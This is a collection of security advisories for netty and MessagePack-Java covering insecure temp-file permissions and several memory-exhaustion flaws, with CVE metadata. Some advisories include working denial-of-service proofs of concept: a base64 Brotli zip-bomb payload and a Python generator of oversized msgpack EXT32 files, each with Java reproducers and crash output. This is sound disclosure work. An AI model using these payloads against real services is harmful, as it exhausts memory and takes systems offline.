GHSA-5mcr-gq6c-3hq2 (CVE-2021-21290) contains an insufficient fix for the vulnerability identified.
Impact
When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled.
This only impacts applications running on Java version 6 and lower. Additionally, this vulnerability impacts code running on Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.
Vulnerability Details
To fix the vulnerability the code was changed to the following:
@SuppressJava6Requirement(reason = "Guarded by version check")
public static File createTempFile(String prefix, String suffix, File directory) throws IOException {
if (javaVersion() >= 7) {
if (directory == null) {
return Files.createTempFile(prefix, suffix).toFile();
}
return Files.createTempFile(directory.toPath(), prefix, suffix).toFile();
}
if (directory == null) {
return File.createTempFile(prefix, suffix);
}
File file = File.createTempFile(prefix, suffix, directory);
// Try to adjust the perms, if this fails there is not much else we can do...
file.setReadable(false, false);
file.setReadable(true, true);
return file;
}
Unfortunately, this logic path was left vulnerable:
if (directory == null) {
return File.createTempFile(prefix, suffix);
}
This file is still readable by all local users.
Patches
Update to 4.1.77.Final
Workarounds
Specify your own java.io.tmpdir when you start the JVM or use DefaultHttpDataFactory.setBaseDir(...) to set the directory to something that is only readable by the current user or update to Java 7 or above.
References
- CWE-378: Creation of Temporary File With Insecure Permissions
- CWE-379: Creation of Temporary File in Directory with Insecure Permissions
For more information
If you have any questions or comments about this advisory:
Open an issue in netty
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.76.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.77.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-24823"
],
"database_specific": {
"cwe_ids": [
"CWE-378",
"CWE-379",
"CWE-668"
],
"github_reviewed": true,
"github_reviewed_at": "2022-05-10T08:46:50Z",
"nvd_published_at": "2022-05-06T12:15:00Z",
"severity": "MODERATE"
},
"details": "### Description ###\n[GHSA-5mcr-gq6c-3hq2](https://github.com/netty/netty/security/advisories/GHSA-5mcr-gq6c-3hq2) (CVE-2021-21290) contains an insufficient fix for the vulnerability identified.\n\n### Impact ###\n\nWhen netty\u0027s multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled.\n\nThis only impacts applications running on Java version 6 and lower. Additionally, this vulnerability impacts code running on Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.\n\n### Vulnerability Details ###\n\nTo fix the vulnerability the code was changed to the following:\n\n```java\n @SuppressJava6Requirement(reason = \"Guarded by version check\")\n public static File createTempFile(String prefix, String suffix, File directory) throws IOException {\n if (javaVersion() \u003e= 7) {\n if (directory == null) {\n return Files.createTempFile(prefix, suffix).toFile();\n }\n return Files.createTempFile(directory.toPath(), prefix, suffix).toFile();\n }\n if (directory == null) {\n return File.createTempFile(prefix, suffix);\n }\n File file = File.createTempFile(prefix, suffix, directory);\n // Try to adjust the perms, if this fails there is not much else we can do...\n file.setReadable(false, false);\n file.setReadable(true, true);\n return file;\n }\n```\n\nUnfortunately, this logic path was left vulnerable:\n\n```java\n if (directory == null) {\n return File.createTempFile(prefix, suffix);\n }\n```\n\nThis file is still readable by all local users.\n\n### Patches ###\n\nUpdate to 4.1.77.Final\n\n### Workarounds ###\n\nSpecify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user or update to Java 7 or above.\n\n### References ###\n\n - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html)\n - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html)\n\n\n### For more information ###\n\nIf you have any questions or comments about this advisory:\n\nOpen an issue in [netty](https://github.com/netty/netty)\n",
"id": "GHSA-269q-hmxg-m83q",
"modified": "2022-05-10T08:46:50Z",
"published": "2022-05-10T08:46:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-269q-hmxg-m83q"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-5mcr-gq6c-3hq2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24823"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/185f8b2756a36aaa4f973f1a2a025e7d981823f1"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20220616-0004"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2022.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Local Information Disclosure Vulnerability in io.netty:netty-codec-http"
}
GHSA-3P8M-J85Q-PGMJ
Vulnerability from github – Published: 2025-09-03 18:00 – Updated: 2025-09-04 13:51Summary
With specially crafted input, BrotliDecoder and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.
Details
BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.
Tested on 4.1.118, but there were no changes to the decoder since.
PoC
Run this test case with -Xmx1G:
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import java.util.Base64;
public class T {
public static void main(String[] args) {
EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
}
}
Error:
Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)
at java.base/java.nio.Bits.reserveMemory(Bits.java:178)
at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121)
at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)
at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)
at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)
at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)
at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)
at io.netty.buffer.PoolArena.allocate(PoolArena.java:137)
at io.netty.buffer.PoolArena.allocate(PoolArena.java:127)
at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)
at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)
at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)
at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)
at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)
at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)
at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)
at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)
at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)
at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)
at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)
at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)
at io.netty.handler.codec.compression.T.main(T.java:11)
Impact
DoS for anyone using BrotliDecoder on untrusted input.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-compression"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.5.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.125.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58057"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-03T18:00:55Z",
"nvd_published_at": "2025-09-04T10:42:32Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nWith specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.\n\n### Details\n\n`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.\n\nTested on 4.1.118, but there were no changes to the decoder since.\n\n### PoC\n\nRun this test case with `-Xmx1G`:\n\n```java\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\n\nimport java.util.Base64;\n\npublic class T {\n public static void main(String[] args) {\n EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());\n channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode(\"aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=\")));\n }\n}\n```\n\nError:\n\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)\n\tat java.base/java.nio.Bits.reserveMemory(Bits.java:178)\n\tat java.base/java.nio.DirectByteBuffer.\u003cinit\u003e(DirectByteBuffer.java:121)\n\tat java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)\n\tat io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)\n\tat io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)\n\tat io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)\n\tat io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:137)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:127)\n\tat io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)\n\tat io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)\n\tat io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)\n\tat io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)\n\tat io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)\n\tat io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)\n\tat io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)\n\tat io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)\n\tat io.netty.handler.codec.compression.T.main(T.java:11)\n```\n\n### Impact\n\nDoS for anyone using `BrotliDecoder` on untrusted input.",
"id": "GHSA-3p8m-j85q-pgmj",
"modified": "2025-09-04T13:51:43Z",
"published": "2025-09-03T18:00:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-3p8m-j85q-pgmj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58057"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty\u0027s decoders vulnerable to DoS via zip bomb style attack"
}
GHSA-5JPM-X58V-624V
Vulnerability from github – Published: 2024-03-25 19:40 – Updated: 2024-06-22 00:30Summary
The HttpPostRequestDecoder can be tricked to accumulate data. I have spotted currently two attack vectors
Details
- While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the
bodyListHttpDatalist. - The decoder cumulates bytes in the
undecodedChunkbuffer until it can decode a field, this field can cumulate data without limits
PoC
Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder
Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3
Impact
Any Netty based HTTP server that uses the HttpPostRequestDecoder to decode a form.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.108.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-29025"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-25T19:40:50Z",
"nvd_published_at": "2024-03-25T20:15:08Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors \n\n### Details\n1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list.\n2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits\n\n### PoC\n\nHere is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder\n\n\nHere is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3\n\n### Impact\nAny Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form.",
"id": "GHSA-5jpm-x58v-624v",
"modified": "2024-06-22T00:30:55Z",
"published": "2024-03-25T19:40:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-5jpm-x58v-624v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29025"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/0d0c6ed782d13d423586ad0c71737b2c7d02058c"
},
{
"type": "WEB",
"url": "https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/vietj/netty/tree/post-request-decoder"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00015.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Netty\u0027s HttpPostRequestDecoder can OOM"
}
GHSA-6MJQ-H674-J845
Vulnerability from github – Published: 2023-06-20 16:33 – Updated: 2024-06-24 21:24Summary
The SniHandler can allocate up to 16MB of heap for each channel during the TLS handshake. When the handler or the channel does not have an idle timeout, it can be used to make a TCP server using the SniHandler to allocate 16MB of heap.
Details
The SniHandler class is a handler that waits for the TLS handshake to configure a SslHandler according to the indicated server name by the ClientHello record. For this matter it allocates a ByteBuf using the value defined in the ClientHello record.
Normally the value of the packet should be smaller than the handshake packet but there are not checks done here and the way the code is written, it is possible to craft a packet that makes the SslClientHelloHandler
1/ allocate a 16MB ByteBuf
2/ not fail decode method in buffer
3/ get out of the loop without an exception
The combination of this without the use of a timeout makes easy to connect to a TCP server and allocate 16MB of heap memory per connection.
Impact
If the user has no idle timeout handler configured it might be possible for a remote peer to send a client hello packet which lead the server to buffer up to 16MB of data per connection. This could lead to a OutOfMemoryError and so result in a DDOS.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.94.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-34462"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-20T16:33:22Z",
"nvd_published_at": "2023-06-22T23:15:09Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe `SniHandler` can allocate up to 16MB of heap for each channel during the TLS handshake. When the handler or the channel does not have an idle timeout, it can be used to make a TCP server using the `SniHandler` to allocate 16MB of heap.\n\n### Details\nThe `SniHandler` class is a handler that waits for the TLS handshake to configure a `SslHandler` according to the indicated server name by the `ClientHello` record. For this matter it allocates a `ByteBuf` using the value defined in the `ClientHello` record. \n\nNormally the value of the packet should be smaller than the handshake packet but there are not checks done here and the way the code is written, it is possible to craft a packet that makes the `SslClientHelloHandler`\n\n1/ allocate a 16MB `ByteBuf`\n2/ not fail `decode` method `in` buffer\n3/ get out of the loop without an exception\n\nThe combination of this without the use of a timeout makes easy to connect to a TCP server and allocate 16MB of heap memory per connection.\n\n### Impact\nIf the user has no idle timeout handler configured it might be possible for a remote peer to send a client hello packet which lead the server to buffer up to 16MB of data per connection. This could lead to a OutOfMemoryError and so result in a DDOS.",
"id": "GHSA-6mjq-h674-j845",
"modified": "2024-06-24T21:24:21Z",
"published": "2023-06-20T16:33:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-6mjq-h674-j845"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34462"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/535da17e45201ae4278c0479e6162bb4127d4c32"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230803-0001"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240621-0007"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2023/dsa-5558"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "netty-handler SniHandler 16MB allocation"
}
GHSA-CW39-R4H6-8J3X
Vulnerability from github – Published: 2026-01-05 14:59 – Updated: 2026-01-05 14:59Summary
Affected Components:
org.msgpack.core.MessageUnpacker.readPayload()
org.msgpack.core.MessageUnpacker.unpackValue()
org.msgpack.value.ExtensionValue.getData()
A denial-of-service vulnerability exists in MessagePack for Java when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation.
PoC
import msgpack
import struct
import os
OUTPUT_DIR = "bombs"
os.makedirs(OUTPUT_DIR, exist_ok=True)
# EXT format: fixext / ext8 / ext16 / ext32
# ext32 allows attacker-controlled length (uint32)
length = 1
step = 10_000_000
while True:
try:
# EXT32: 0xC9 | length (4 bytes) | type (1 byte)
header = b'\xC9' + struct.pack(">I", length) + b'\x01'
payload = b'A' # actual data tiny
data = header + payload
fname = f"{OUTPUT_DIR}/ext_length_{length}.msgpack"
with open(fname, "wb") as f:
f.write(data)
print(f"[+] Generated EXT bomb with declared length={length}")
length += step
except Exception as e:
print("[!] Stopped:", e)
break
Download dependency: curl -LO https://repo1.maven.org/maven2/org/msgpack/msgpack-core/0.9.8/msgpack-core-0.9.8.jar Java Reproducer
// Main.java
import org.msgpack.core.MessagePack;
import org.msgpack.core.MessageUnpacker;
import org.msgpack.value.ExtensionValue;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main {
public static void main(String[] args) throws Exception {
byte[] data = Files.readAllBytes(
Paths.get("ext_length_470000001.msgpack")
);
MessageUnpacker unpacker =
MessagePack.newDefaultUnpacker(data);
ExtensionValue ext =
unpacker.unpackValue().asExtensionValue();
// Vulnerability trigger:
byte[] payload = ext.getData();
System.out.println(payload.length);
}
}
Compile
javac -cp msgpack-core-0.9.8.jar Main.java
Run (with limited heap)
java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main
Observed Result:
Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
